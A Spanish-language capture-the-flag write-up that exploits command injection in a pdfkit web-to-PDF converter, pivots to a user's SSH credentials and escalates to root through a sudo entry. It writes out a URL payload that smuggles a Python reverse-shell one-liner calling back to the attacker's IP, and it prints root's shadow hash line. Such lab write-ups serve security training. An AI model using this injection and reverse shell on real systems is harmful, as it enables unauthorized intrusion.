Comenzamos con el escaneo:


Echamos un ojo a la web:

Comprobamos que tiene una utilidad para convertir una página web a PDF.
Levantamos un servidor con Python3 -m http.server y desde la web introducimos nuestra IP:

Descargamos el PDF generado y lo analizamos con exiftool:

Buscamos un exploit de pdfkit v0.8.6:
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Procedemos a introducir en la web el comando para generar una Reverse Shell:
http://10.10.14.165/?name=%20python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.165",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Procedemos a poner a la escucha nc:

Ahora vamos a tratar de obtener una TTY:

Verificamos que somos el usuario ruby. Vamos a buscar posibles credenciales para cambiar de usuario:

En uno de los ficheros conseguimos las credenciales del usuario henry. Procedemos a conectarnos via ssh:

Conseguimos la flag del user y ahora nuestro objetivo es conseguir elevar privilegios. Primero con sudo -l verificamos si tenemos algún punto desde el que partir:

Vamos a ir directos a ese fichero o cualquier otro relacionado para conseguir escalar por esa vía.
Mostramos por pantalla el contenido del fichero que aparece en sudo -l:

Buscamos en internet una forma de explotar este recurso. Hallamos en el siguiente link un exploit:
Introducimos el código y lo mostramos por pantalla:

Procedemos a ejecutar el exploit:

Verificamos si ha tenido éxito el exploit:

Introducimos el siguiente comando para escalar privilegios como root:

Buscamos la flag:

Copiamos la parte del /etc/shadow de root y así poder poner contraseña a esta entrada:
root:$y$j9T$a.ggVdbxv0sDezKDImKn91$BB2mMoZ0UwInxNcXuyDALhr4li59AHfVw5DuV0d5Ww1:19284:0:99999:7:::
Ya tendríamos la máquina resuelta de una forma bastante sencilla. Espero que os haya gustado.
Gracias por leerme.